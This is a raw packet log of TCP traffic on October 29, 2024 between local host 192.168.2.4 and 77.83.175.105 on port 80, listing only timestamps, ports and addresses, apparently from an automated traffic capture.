Oct 29, 2024 04:17:22.375219107 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375228882 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375247002 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375247002 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375257969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375263929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375267982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375289917 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375319958 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375431061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375442028 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375453949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375473022 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375477076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375495911 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375497103 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375505924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375524044 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375529051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375539064 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375550985 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375561953 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375564098 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375574112 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375591040 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375593901 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375602961 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375627041 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375649929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375654936 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375672102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375684023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375693083 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375694990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375708103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375719070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375724077 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375735044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375750065 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375766993 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375786066 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375802994 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375813007 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375824928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375843048 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375859976 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375880957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375891924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375904083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375915051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375924110 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375926971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375942945 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375950098 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375965118 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375965118 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.375977039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375988960 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.375989914 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.376003027 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.376020908 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.376034975 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.376053095 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376064062 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376075029 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376102924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.376132965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376144886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376156092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376168966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376179934 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376182079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.376194000 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.376223087 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.376257896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376270056 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376279116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376291990 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.376311064 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376317978 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.376322985 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376346111 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.376353979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376364946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376370907 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.376375914 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376384020 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.376398087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376401901 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.376408100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376415014 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.376420975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376430988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.376434088 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.376463890 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.417344093 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.417391062 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.417401075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.417433023 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.417490005 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.492364883 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492463112 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.492674112 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492686033 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492707014 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492724895 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.492731094 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492742062 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492746115 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.492753983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492763996 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492774963 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492777109 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.492784977 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492794037 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.492795944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492808104 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492814064 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.492827892 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492827892 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.492840052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492854118 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.492861986 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492872000 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.492880106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492889881 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492897987 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.492912054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492923021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492923021 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.492934942 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492944002 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492949963 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.492961884 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492968082 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.492974043 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492984056 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.492990017 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.492994070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493005037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493007898 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493016958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493029118 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493037939 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493038893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493048906 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493052959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493053913 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493062019 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493074894 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493083954 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493086100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493097067 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493108034 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493114948 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493119001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493129015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493132114 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493144989 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493160009 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493175030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493182898 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493185043 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493196011 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493208885 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493215084 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493226051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493232965 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493236065 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493254900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493263006 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493264914 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493275881 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493285894 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493288040 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493298054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493309975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493315935 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493319035 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493331909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493336916 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493350983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493355036 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493360043 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493374109 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493381023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493391037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493401051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493412018 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493415117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493423939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493429899 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493454933 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493486881 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493496895 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493514061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493520021 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493525028 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493535995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493545055 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493575096 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493588924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493604898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493616104 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493621111 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493647099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493657112 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493658066 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493671894 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493685961 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493691921 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493700027 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493702888 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493725061 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493741989 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493743896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493753910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493763924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493783951 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493808031 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493834972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493844986 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493854046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493870974 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493887901 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493895054 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493897915 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.493921995 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493937969 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.493992090 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494002104 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494013071 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494033098 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494039059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494050026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494055986 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494060993 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494071960 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494081020 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494083881 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494116068 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494204044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494236946 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494292974 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494302988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494314909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494323969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494326115 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494334936 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494344950 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494347095 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494368076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494378090 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494379044 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494385004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494390965 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494405031 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494416952 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494416952 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494426012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494436979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494441986 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494447947 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494469881 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494493961 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494688034 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494707108 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494718075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494728088 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494731903 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494740963 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494746923 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494750977 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494761944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494774103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494776011 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494788885 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494795084 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494813919 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494816065 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494824886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494839907 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494844913 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494854927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494862080 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494863987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494875908 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494884968 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494891882 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494904995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494915962 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494916916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494926929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494935036 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494940042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494950056 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494961977 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494967937 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.494971037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494981050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.494992971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495001078 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.495003939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495026112 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.495050907 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.495066881 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495076895 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495109081 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.495170116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495178938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495194912 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495207071 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495208025 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.495218039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495233059 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.495259047 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.495548010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495559931 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495572090 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495594978 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495596886 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.495604992 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495611906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.495615959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495628119 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495646000 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.495670080 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.495701075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495712042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495723009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495733976 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495740891 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.495744944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495754004 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.495755911 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495768070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495786905 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.495815992 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.495950937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.495963097 CET	80	49755	77.83.175.105	192.168.2.4
